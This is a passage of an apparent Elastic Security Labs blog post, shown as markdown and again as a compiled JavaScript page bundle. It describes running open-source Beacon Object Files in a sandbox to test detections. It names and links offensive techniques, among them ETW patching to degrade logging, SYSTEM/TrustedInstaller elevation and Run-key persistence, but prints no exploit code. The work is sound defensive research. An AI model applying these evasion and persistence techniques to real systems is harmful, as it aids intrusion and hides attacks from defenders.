process to SYSTEM and granting the TrustedInstaller group privilege. This operation, leveraging the `SetThreadToken` function, demonstrates privilege escalation effectively.\n\nBOF Used: [ETW](https://github.com/ajpc500/BOFs/tree/main/ETW) \nPurpose: Simple Beacon object file to patch (and revert) the `EtwEventWrite` function in `ntdll.dll` to degrade ETW-based logging. Check out the [Kernel ETW](https://www.elastic.co/security-labs/kernel-etw-best-etw) and [Kernel ETW Call Stack](https://www.elastic.co/security-labs/doubling-down-etw-callstacks) material for more details. \n\n\n\nThe detonation log confirms the successful execution of the `etw.x64.o` BOF using `COFFLoader64.exe`. This BOF manipulates the `EtwEventWrite` function in `ntdll.dll` to degrade ETW-based logging. The log verifies the BOF’s capability to disable key telemetry temporarily, a common defense evasion tactic.\n\nBOF Used: [RegistryPersistence](https://github.com/rvrsh3ll/BOF_Collection/tree/master/Persistence) \nPurpose: Installs persistence in Windows systems by adding an entry under `HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run`. The persistence works by running a PowerShell command (dummy payload in this case) on startup via the registry. In the case of the RegistryPersistence BOF, the source code (.C) was modified so that the registry entry under `HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run` would be created if it did not already exist. Additionally, debugging messages were added to the code, which print to the Beacon’s output using the `BeaconPrintf` function, aiding in monitoring and troubleshooting the persistence mechanism during execution.\n\n\n\nThe detonation log displays the expected behavior of the `registrypersistence.x64.o` BOF. It successfully modifies the Windows registry under `HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run`, adding a persistence mechanism. The entry executes a PowerShell command (empty payload in this case) on system startup, validating the BOF’s intended persistence functionality.\n\n### Showing Results \\- Phase 4\n\nFinally, the `show-results` command lists the outcomes of the BOFs; whether a behavior detection successfully caught the technique, and a recommended query to quickly illustrate key ECS fields to build into a robust detection (or use to tune an existing rule). BOFs that are detected by an existing behavior detection do not go through the additional query recommendation workflow.\n\n\n\nFortunately, as described in [NEW in Elastic Security 8.15: Automatic Import, Gemini models, and AI Assistant APIs](https://www.elastic.co/blog/whats-new-elastic-security-8-15-0), the Elastic AI Assistant for Security exposes new capabilities to quickly generate a recommendation based on the context provided (by simply hitting the available [API](https://www.elastic.co/docs/api/doc/kibana/v8/operation/operation-performanonymizationfieldsbulkaction)). A simple HTTP request makes it easy to ship contextual information about the BOF and sample logs to ideate on possible improvements.\n\n```conn.request(\"POST\", \"/api/security_ai_assistant/chat/complete\", payload, headers)```\n\nTo assess the accuracy of the query recommendations, we employed a dataset of labeled scenarios and benign activities to establish a “ground truth” and evaluated how the query recommendations performed in distinguishing between legitimate and malicious activities. Additionally, the prompts used to generate the rules were iteratively tuned until a satisfactory response was generated, where the *expected* query closely aligned with the *actual* rule generated, ensuring that the AI Assistant provided relevant and accurate recommendations. \n\nIn the netuser BOF example, the returned detonation data contained no existing detections but included events [4798](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4798), based on the BOF context (user enumeration) and the Windows 4798 event details the Elastic AI Assistant rightly recommended the use of that event for detection.\n\n\n\n## Additional Considerations\n\nWe’re continuing to explore creative ways to improve our detection engineering tradecraft. By integrating BOFs with Elastic’s Detonate Service and leveraging the Elastic Security Assistant, we’re able to streamline testing. This approach is designed to identify potential detection gaps and enable detection strategies. \n\nA key challenge for legacy SIEMs in detecting Beacon Object Files (BOFs) is their reliance on Windows Event Logging, which often fails to capture memory-only execution, reflective injection, or direct syscalls. Many BOF techniques are designed to bypass traditional logging, avoiding file creation and interactions with the Windows API. As a result, security solutions that rely solely on event logs are insufficient for detecting these sophisticated techniques. To effectively detect such threats, organizations need more advanced EDRs, like Elastic Defend, that offer visibility into injection methods, memory manipulation, system calls, process hollowing, and other evasive tactics. \n\nDeveloping a fully supported BOF experimentation and research pipeline requires *substantial* effort to cover the dependencies of each technique. For example:\n\n* Lateral Movement: Requires additional test nodes \n* Data Exfiltration: Requires network communication connectivity \n* Complex BOFs: May require extra dependencies, precondition arguments, and multistep executions prior to running the BOF. These additional steps are typically commands organized in the C2 Framework (e.g. `.cna` sleep script)\n\nElastic, at its core, is open. This research illustrates this philosophy, and collaboration with the open-source community is an important way we support evolving detection engineering requirements. We are committed to refining our methodologies and sharing our lessons learned to strengthen the collective defense of enterprises. We’re more capable together.\n\nWe’re always interested in hearing about new use cases or workflows, so reach out to us via [GitHub issues](https://github.com/elastic/detection-rules/issues), chat with us in our [community Slack](http://ela.st/slack), and ask questions in our [Discuss forums](https://discuss.elastic.co/c/security/endpoint-security/80). Learn more about detection engineering the Elastic way using the [DEBMM](https://www.elastic.co/security-labs/elastic-releases-debmm). You can see the technology we leverage for this research and more by checking out [Elastic Security](https://www.elastic.co/security).\n\n*The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.*\n","code":"var Component=(()=\u003e{var h=Object.create;var a=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,m=Object.prototype.hasOwnProperty;var f=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),w=(n,e)=\u003e{for(var i in e)a(n,i,{get:e[i],enumerable:!0})},s=(n,e,i,r)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of g(e))!m.call(n,o)\u0026\u0026o!==i\u0026\u0026a(n,o,{get:()=\u003ee[o],enumerable:!(r=u(e,o))||r.enumerable});return n};var y=(n,e,i)=\u003e(i=n!=null?h(p(n)):{},s(e||!n||!n.__esModule?a(i,\"default\",{value:n,enumerable:!0}):i,n)),b=n=\u003es(a({},\"__esModule\",{value:!0}),n);var c=f((T,l)=\u003e{l.exports=_jsx_runtime});var B={};w(B,{default:()=\u003eO,frontmatter:()=\u003ev});var t=y(c()),v={title:\"Detonating Beacons to Illuminate Detection Gaps\",slug:\"detonating-beacons-to-illuminate-detection-gaps\",date:\"2025-01-09\",description:\"Learn how Elastic Security leveraged open-source BOFs to achieve detection engineering goals during our most recent ON week.\",author:[{slug:\"mika-ayenson\"},{slug:\"miguel-garzon\"},{slug:\"samir-bousseaden\"}],image:\"Security Labs Images 31.jpg\",category:[{slug:\"security-research\"}]};function d(n){let e=Object.assign({p:\"p\",a:\"a\",em:\"em\",h2:\"h2\",ul:\"ul\",li:\"li\",br:\"br\",img:\"img\",h3:\"h3\",code:\"code\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},n.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.p,{children:[\"At Elastic, we continuously strive to mature our detection engineering processes in scalable ways, leveraging creative approaches to validate and enhance our capabilities. We recently concluded a quarterly Elastic OnWeek event, which we convene quarterly and provides an opportunity to explore problems differently than our regular day-to-day. This time around, we explored the potential of using Beacon Object Files (\",(0,t.jsx)(e.a,{href:\"https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/beacon-object-files_main.htm\",rel:\"nofollow\",children:\"BOF\"}),\") for detection \",(0,t.jsx)(e.em,{children:\"validation\"}),\". We wanted to know how BOFs, combined with Elastic\\u2019s internal Detonate Service and the Elastic AI Assistant for Security, could streamline our ability to identify gaps, improve detection coverage, and explore new detection engineering challenges. This builds on our other internal tools and validation efforts, making blue team development more efficient by directly leveraging the improvements in red team development efficiency.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"tapping-into-opensource-red-team-contributions\",children:\"Tapping into OpenSource Red Team Contributions\"}),`\n`,(0,t.jsx)(e.p,{children:\"The evolution of offensive tooling in cybersecurity reflects an ongoing arms race between red teams and defenders, marked by continuous innovation on both sides:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Initially, red teamers leveraged PowerShell, taking advantage of its deep integration with Windows to execute commands and scripts entirely in memory, avoiding traditional file-based operations.\"}),`\n`,(0,t.jsxs)(e.li,{children:[\"This technique was countered by the introduction of the Antimalware Scan Interface (\",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal\",rel:\"nofollow\",children:\"AMSI\"}),\"), which provided real-time inspection to prevent harmful activity.\"]}),`\n`,(0,t.jsx)(e.li,{children:\"Offensive operators adapted through obfuscation and version downgrades to bypass AMSI\\u2019s controls. The focus shifted to C# and the .NET CLR (common language runtime), which offered robust capabilities for in-memory execution, evading inconvenient PowerShell-specific protections.\"}),`\n`,(0,t.jsxs)(e.li,{children:[\"AMSI\\u2019s expansion to CLR-based scripts (C#), prompted the development of tools like \",(0,t.jsx)(e.a,{href:\"https://thewover.github.io/Introducing-Donut/\",rel:\"nofollow\",children:\"Donut\"}),\", converting .NET assemblies into shellcode to bypass AMSI checks.\"]}),`\n`,(0,t.jsx)(e.li,{children:\"With process injection becoming a prevalent technique for embedding code into legitimate processes, defenders introduced API hooking to monitor and block such activity.\"}),`\n`,(0,t.jsx)(e.li,{children:\"To counter process and syscall detections, red teams migrated to fork-and-run techniques, creating ephemeral processes to execute payloads and quickly terminate, further reducing the detection footprint.\"}),`\n`,(0,t.jsx)(e.li,{children:\"The latest innovation in this progression is the use of Beacon Object Files (BOFs), which execute lightweight payloads directly into an existing process\\u2019s memory, avoiding fork-and-run mechanisms and eliminating the need for runtime environments like the .NET CLR.\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"TL;DR: The evolution (EXE --\u003e DLL --\u003e reflective C++ DLL --\u003e PowerShell -\u003e reflective C# -\u003e C BOF --\u003e C++ BOF --\u003e bytecode) was all about writing shellcode more efficiently, and running it with just enough stealth.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"With a growing number of \",(0,t.jsx)(e.a,{href:\"https://github.com/N7WEra/BofAllTheThings\",rel:\"nofollow\",children:\"BOF GitHub contributions\"}),\" covering multiple techniques, they are ideal for evaluating gaps and exploring procedure-level events. BOFs are generally small C-based programs that execute within the context of a COBALTSTRIKE BEACON agent. Since introduced, they\\u2019ve become a staple for red team operations. Even practitioners who don't use COBALTSTRIKE can take advantage of BOFs using third-party loaders, a great example of the ingenuity of the offensive research community. One example used in this exploration is \",(0,t.jsx)(e.a,{href:\"https://github.com/trustedsec/COFFLoader\",rel:\"nofollow\",children:\"COFFLoader\"}),\", originally \",(0,t.jsx)(e.a,{href:\"https://www.trustedsec.com/blog/bofs-for-script-kiddies\",rel:\"nofollow\",children:\"introduced\"}),\" in 2023 by TrustedSec, designed to load Common Object File Format (COFF) files. COFFs (the opened standard for BOFs), are essentially your compiled .o object files - e.g. BOF with extra support for in-memory execution. Other more recent examples include the rust-based \",(0,t.jsx)(e.a,{href:\"https://github.com/hakaioffsec/coffee\",rel:\"nofollow\",children:\"Coffee\"}),\" loader by Hakai Security and the GoLang-based implementation \",(0,t.jsx)(e.a,{href:\"https://github.com/praetorian-inc/goffloader\",rel:\"nofollow\",children:\"Goffloader\"}),\" by Praetorian.\",(0,t.jsx)(e.br,{}),`\n`,\"Loading COFF/BOF objects have become a standard feature in many C2 frameworks such as Havoc, Metasploit, PoshC2, and Sliver, with some directly utilizing COFFLoader for execution. With little setup, prebuilt BOFs and a loader like COFFLoader can quickly enable researchers to test a wide range of specific techniques on their endpoints.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"experimentation-powered-by-detonate\",children:\"Experimentation Powered by Detonate\"}),`\n`,(0,t.jsx)(e.p,{children:\"Setting up and maintaining a robust system for BOF execution, VM endpoint testing, and Elastic Security\\u2019s Defend in a repeatable manner can be a significant engineering challenge, especially when isolating detonations, collecting results, and testing multiple samples. To streamline this process and make it as efficient as possible, Elastic built the internal Detonate service, which handles the heavy lifting and minimizes the operational overhead.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"If you\\u2019re unfamiliar with Elastic\\u2019s Internal Detonate service, check out \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/click-click-boom-automating-protections-testing-with-detonate\",rel:\"nofollow\",children:\"Part 1 - Click, Click\\u2026Boom!\"}),\" where we introduce Detonate, why we built it, explore how Detonate works, describe case studies, and discuss efficacy testing. If you want a deeper dive, head over to \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/into-the-weeds-how-we-run-detonate\",rel:\"nofollow\",children:\"Part 2 - Into The Weeds: How We Run Detonate\"}),\" where we describe the APIs leveraged to automate much of our exploration. It is important to note that Detonate is still a prototype, not yet an enterprise offering, and as such, we\\u2019re experimenting with its potential applications and fine-tuning its capabilities.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"For this ON week project, the complexity was distilled down to one API call that uploads and executes the BOF, and a subsequent optional second API call to fetch behavior alert results.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"validating-behavior-detections-via-bofs\",children:\"Validating Behavior Detections via BOFs\"}),`\n`,(0,t.jsx)(e.p,{children:\"We used automation for the tedious behind-the-scenes work because ON week is about the more interesting research findings, but we wanted to share some of the challenges and pain points of this kind of technology in case you're interested in building your own detonation framework. If you\\u2019re interested in following along in general, we\\u2019ll walk through some of the nuances and pain points.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detonating-beacons-to-illuminate-detection-gaps/image4.png\",alt:\"BOF Detonating Experimentation Pipeline\",width:\"1999\",height:\"1570\"})}),`\n`,(0,t.jsx)(e.p,{children:\"At a high level, this depicts an overview of the different components integrated into the automation. All of the core logic was centralized into a simple CLI POC tool to help manage the different phases of the experiment.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"framing-a-proof-of-concept\",children:\"Framing a Proof of Concept\"}),`\n`,(0,t.jsx)(e.p,{children:\"The CLI provides sample commands to analyze a sample BOF\\u2019s .c source file, execute BOF\\u2019s within our Detonate environment, monitor specific GitHub repositories for BOF changes, and show detonation results with query recommendations if they\\u2019re available.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detonating-beacons-to-illuminate-detection-gaps/image6.png\",alt:\"Sample PoC Commands\",width:\"1258\",height:\"590\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"scraping-and-preprocessing-bofs---phases-1-and-2\",children:\"Scraping and Preprocessing BOFs - Phases 1 and 2\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"For a quickstart guide, navigate to \",(0,t.jsx)(e.a,{href:\"https://github.com/N7WEra/BofAllTheThings\",rel:\"nofollow\",children:\"BofAllTheThings\"}),\", which includes several GitHub repositories worth starting with. The list isn\\u2019t actively maintained, so with some Github \",(0,t.jsxs)(e.a,{href:\"https://github.com/topics/bof\",rel:\"nofollow\",children:[\"topic searches for \",(0,t.jsx)(e.code,{children:\"bof\"})]}),\", you may encounter more consistently updated examples like \",(0,t.jsx)(e.a,{href:\"https://github.com/fortra/nanodump\",rel:\"nofollow\",children:\"nanodump\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Standardizing BOFs to follow a common format significantly improves the experimentation and repeatability. Different authors name their \",(0,t.jsx)(e.code,{children:\".c\"}),\" source and \",(0,t.jsx)(e.code,{children:\".o\"}),\" BOF files differently so to streamline the research process, we followed TrustedSec\\u2019s \",(0,t.jsx)(e.a,{href:\"https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/CONTRIBUTING.md\",rel:\"nofollow\",children:\"CONTRIBUTING\"}),\" guide and file conventions to consistently name files and place them in a common folder structure. We generally skipped GitHub repositories that did not include source with their BOFs (because we wanted to be certain of what they were doing \",(0,t.jsx)(e.em,{children:\"before\"}),\" executing them), and prioritized examples with Makefiles. As each technique was processed, they were manually formatted to follow the conventions (e.g. renaming the main \",(0,t.jsx)(e.code,{children:\".c\"}),\" file to \",(0,t.jsx)(e.code,{children:\"entry.c\"}),\", compiling with a matching file and directory name, etc.).\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"With the BOFs organized, we were able to parse the entry files, search for the \",(0,t.jsx)(e.code,{children:\"go\"}),\" method that defines the key functions and arguments. We parse these arguments and convert them to hex, similarly to the way \",(0,t.jsx)(e.a,{href:\"https://github.com/trustedsec/COFFLoader/blob/main/beacon_generate.py\",rel:\"nofollow\",children:\"beacon_generate.py\"}),\" does, before shipping the BOF and all accompanying materials to Detonate.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detonating-beacons-to-illuminate-detection-gaps/image2.png\",alt:\"Sample Generated BOF Arguments\",width:\"1648\",height:\"760\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"After preprocessing the arguments, we stored them locally in a \",(0,t.jsx)(e.code,{children:\"json\"}),\" file and retrieved the contents whenever we wanted to detonate the BOF or all BOFs.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"submitting-detonations---phase-3\",children:\"Submitting Detonations - Phase 3\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"There is a \",(0,t.jsx)(e.code,{children:\"detonate\"}),\" command and \",(0,t.jsx)(e.code,{children:\"detonate-all\"}),\" that uploads the local BOF to the Detonate VM instance with the arguments. When a Detonate task is created, metadata about the BOF job is stored locally so that results can be retrieved later.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detonating-beacons-to-illuminate-detection-gaps/image3.png\",alt:\"Netuser BOF Detonation\",width:\"1940\",height:\"410\"})}),`\n`,(0,t.jsx)(e.p,{children:\"For detection engineering and regression testing, detonating all BOF files enables us to submit a periodic long-lasting job, starting with deploying and configuring virtual machines and ending with submitting generative AI completions for detection recommendations.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"bof-detonate-examples\",children:\"BOF Detonate Examples\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Up to this point, the setup is primarily a security research engineering effort. The detection engineering aspect begins when we can start analyzing results, investigating gaps, and developing additional rules. Each BOF submitted is accompanied by a Detonate job that describes the commands executed, execution logs, and any detections. In these test cases, different detections appeared during different aspects of the test (potential shellcode injection, malware detection, etc.). The following BOFs were selected based on their specific requirements for arguments, which were generated using the \",(0,t.jsx)(e.a,{href:\"https://github.com/trustedsec/COFFLoader/blob/main/beacon_generate.py\",rel:\"nofollow\",children:\"beacon_generate.py\"}),\" script, as previously explained. Some BOFs require arguments to be passed to them during execution, and these arguments are crucial for tailoring the behaviour of the BOF to the specific test case scenario. The table below lists the BOFs explored in this section:\"]}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{align:\"left\",children:\"BOF\"}),(0,t.jsx)(e.th,{align:\"left\",children:\"Type of BOF\"}),(0,t.jsx)(e.th,{align:\"left\",children:\"Arguments Expected\"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{align:\"left\",children:\"netuser\"}),(0,t.jsx)(e.td,{align:\"left\",children:\"Enumeration\"}),(0,t.jsx)(e.td,{align:\"left\",children:\"[username] [opt: domain]\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{align:\"left\",children:\"portscan\"}),(0,t.jsx)(e.td,{align:\"left\",children:\"Enumeration\"}),(0,t.jsx)(e.td,{align:\"left\",children:\"[ipv4] [opt: port]\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{align:\"left\",children:\"Elevate-System-Trusted-BOF\"}),(0,t.jsx)(e.td,{align:\"left\",children:\"Privilege Escalation\"}),(0,t.jsx)(e.td,{align:\"left\",children:\"None\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{align:\"left\",children:\"etw\"}),(0,t.jsx)(e.td,{align:\"left\",children:\"Logging Manipulation\"}),(0,t.jsx)(e.td,{align:\"left\",children:\"None\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{align:\"left\",children:\"RegistryPersistence\"}),(0,t.jsx)(e.td,{align:\"left\",children:\"Persistence\"}),(0,t.jsx)(e.td,{align:\"left\",children:\"None (See notes below)\"})]})]})]})}),`\n`,(0,t.jsxs)(e.p,{children:[\"BOF Used: \",(0,t.jsx)(e.a,{href:\"https://github.com/rvrsh3ll/BOF_Collection/tree/master/Network/PortScan\",rel:\"nofollow\",children:\"PortScan\"}),(0,t.jsx)(e.br,{}),`\n`,\"Purpose: Enumeration technique that scans a single port on a remote host.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detonating-beacons-to-illuminate-detection-gaps/image9.png\",alt:\"BOF Detonation: PortScan\",width:\"1999\",height:\"1538\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The detonation log shows expected output of \",(0,t.jsx)(e.code,{children:\"COFFLoader64.exe\"}),\" loading the \",(0,t.jsx)(e.code,{children:\"portscan.x64.o\"}),\" sample, showing that port \",(0,t.jsx)(e.code,{children:\"22\"}),\" was not open as expected on the test machine. Note: In this example two detections were triggered in comparison to the \",(0,t.jsx)(e.code,{children:\"netuser\"}),\" BOF execution.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"BOF Used: \",(0,t.jsx)(e.a,{href:\"https://github.com/Mr-Un1k0d3r/Elevate-System-Trusted-BOF\",rel:\"nofollow\",children:\"Elevate-System-Trusted-BOF\"}),(0,t.jsx)(e.br,{}),`\n`,\"Purpose: This BOF can be used to elevate the current beacon to SYSTEM and obtain the TrustedInstaller group privilege. The impersonation is done through the \",(0,t.jsx)(e.code,{children:\"SetThreadToken\"}),\" API.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detonating-beacons-to-illuminate-detection-gaps/image1.png\",alt:\"BOF Detonation: Elevate-System-Trusted-BOF\",width:\"1999\",height:\"1235\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The detonation log shows expected output of \",(0,t.jsx)(e.code,{children:\"COFFLoader64.exe\"}),\" successfully loading and executing the \",(0,t.jsx)(e.code,{children:\"elevate_system.x64.o\"}),\" BOF. The log confirms the BOF\\u2019s intended behavior, elevating the process to SYSTEM and granting the TrustedInstaller group privilege. This operation, leveraging the \",(0,t.jsx)(e.code,{children:\"SetThreadToken\"}),\" function, demonstrates privilege escalation effectively.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"BOF Used: \",(0,t.jsx)(e.a,{href:\"https://github.com/ajpc500/BOFs/tree/main/ETW\",rel:\"nofollow\",children:\"ETW\"}),(0,t.jsx)(e.br,{}),`\n`,\"Purpose: Simple Beacon object file to patch (and revert) the \",(0,t.jsx)(e.code,{children:\"EtwEventWrite\"}),\" function in \",(0,t.jsx)(e.code,{children:\"ntdll.dll\"}),\" to degrade ETW-based logging. Check out the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/kernel-etw-best-etw\",rel:\"nofollow\",children:\"Kernel ETW\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/doubling-down-etw-callstacks\",rel:\"nofollow\",children:\"Kernel ETW Call Stack\"}),\" material for more details.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detonating-beacons-to-illuminate-detection-gaps/image11.png\",alt:\"BOF Detonation: ETW\",width:\"1999\",height:\"1518\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The detonation log confirms the successful execution of the \",(0,t.jsx)(e.code,{children:\"etw.x64.o\"}),\" BOF using \",(0,t.jsx)(e.code,{children:\"COFFLoader64.exe\"}),\". This BOF manipulates the \",(0,t.jsx)(e.code,{children:\"EtwEventWrite\"}),\" function in \",(0,t.jsx)(e.code,{children:\"ntdll.dll\"}),\" to degrade ETW-based logging. The log verifies the BOF\\u2019s capability to disable key telemetry temporarily, a common defense evasion tactic.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"BOF Used: \",(0,t.jsx)(e.a,{href:\"https://github.com/rvrsh3ll/BOF_Collection/tree/master/Persistence\",rel:\"nofollow\",children:\"RegistryPersistence\"}),(0,t.jsx)(e.br,{}),`\n`,\"Purpose: Installs persistence in Windows systems by adding an entry under \",(0,t.jsx)(e.code,{children:\"HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\"}),\". The persistence works by running a PowerShell command (dummy payload in this case) on startup via the registry. In the case of the RegistryPersistence BOF, the source code (.C) was modified so that the registry entry under \",(0,t.jsx)(e.code,{children:\"HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\"}),\" would be created if it did not already exist. Additionally, debugging messages were added to the code, which print to the Beacon\\u2019s output using the \",(0,t.jsx)(e.code,{children:\"BeaconPrintf\"}),\" function, aiding in monitoring and troubleshooting the persistence mechanism during execution.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detonating-beacons-to-illuminate-detection-gaps/image1.png\",alt:\"BOF Detonation: RegistryPersistence\",width:\"1999\",height:\"1235\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The detonation log displays the expected behavior of the \",(0,t.jsx)(e.code,{children:\"registrypersistence.x64.o\"}),\" BOF. It successfully modifies the Windows registry under \",(0,t.jsx)(e.code,{children:\"HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\"}),\", adding a persistence mechanism. The entry executes a PowerShell command (empty payload in this case) on system startup, validating the BOF\\u2019s intended persistence functionality.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"showing-results---phase-4\",children:\"Showing Results - Phase 4\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Finally, the \",(0,t.jsx)(e.code,{children:\"show-results\"}),\" command lists the outcomes of the BOFs; whether a behavior detection successfully caught the technique, and a recommended query to quickly illustrate key ECS fields to build into a robust detection (or use to tune an existing rule). BOFs that are detected by an existing behavior detection do not go through the additional query recommendation workflow.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detonating-beacons-to-illuminate-detection-gaps/image10.png\",alt:\"Query Recommendation Within Results\",width:\"1904\",height:\"604\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Fortunately, as described in \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/whats-new-elastic-security-8-15-0\",rel:\"nofollow\",children:\"NEW in Elastic Security 8.15: Automatic Import, Gemini models, and AI Assistant APIs\"}),\", the Elastic AI Assistant for Security exposes new capabilities to quickly generate a recommendation based on the context provided (by simply hitting the available \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/docs/api/doc/kibana/v8/operation/operation-performanonymizationfieldsbulkaction\",rel:\"nofollow\",children:\"API\"}),\"). A simple HTTP request makes it easy to ship contextual information about the BOF and sample logs to ideate on possible improvements.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.code,{children:'conn.request(\"POST\", \"/api/security_ai_assistant/chat/complete\", payload, headers)'})}),`\n`,(0,t.jsxs)(e.p,{children:[\"To assess the accuracy of the query recommendations, we employed a dataset of labeled scenarios and benign activities to establish a \\u201Cground truth\\u201D and evaluated how the query recommendations performed in distinguishing between legitimate and malicious activities. Additionally, the prompts used to generate the rules were iteratively tuned until a satisfactory response was generated, where the \",(0,t.jsx)(e.em,{children:\"expected\"}),\" query closely aligned with the \",(0,t.jsx)(e.em,{children:\"actual\"}),\" rule generated, ensuring that the AI Assistant provided relevant and accurate recommendations.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"In the netuser BOF example, the returned detonation data contained no existing detections but included events \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4798\",rel:\"nofollow\",children:\"4798\"}),\", based on the BOF context (user enumeration) and the Windows 4798 event details the Elastic AI Assistant rightly recommended the use of that event for detection.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detonating-beacons-to-illuminate-detection-gaps/image5.png\",alt:\"Elastic Raw Events from BOF\",width:\"1999\",height:\"546\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"additional-considerations\",children:\"Additional Considerations\"}),`\n`,(0,t.jsx)(e.p,{children:\"We\\u2019re continuing to explore creative ways to improve our detection engineering tradecraft. By integrating BOFs with Elastic\\u2019s Detonate Service and leveraging the Elastic Security Assistant, we\\u2019re able to streamline testing. This approach is designed to identify potential detection gaps and enable detection strategies.\"}),`\n`,(0,t.jsx)(e.p,{children:\"A key challenge for legacy SIEMs in detecting Beacon Object Files (BOFs) is their reliance on Windows Event Logging, which often fails to capture memory-only execution, reflective injection, or direct syscalls. Many BOF techniques are designed to bypass traditional logging, avoiding file creation and interactions with the Windows API. As a result, security solutions that rely solely on event logs are insufficient for detecting these sophisticated techniques. To effectively detect such threats, organizations need more advanced EDRs, like Elastic Defend, that offer visibility into injection methods, memory manipulation, system calls, process hollowing, and other evasive tactics.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Developing a fully supported BOF experimentation and research pipeline requires \",(0,t.jsx)(e.em,{children:\"substantial\"}),\" effort to cover the dependencies of each technique. For example:\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Lateral Movement: Requires additional test nodes\"}),`\n`,(0,t.jsx)(e.li,{children:\"Data Exfiltration: Requires network communication connectivity\"}),`\n`,(0,t.jsxs)(e.li,{children:[\"Complex BOFs: May require extra dependencies, precondition arguments, and multistep executions prior to running the BOF. These additional steps are typically commands organized in the C2 Framework (e.g. \",(0,t.jsx)(e.code,{children:\".cna\"}),\" sleep 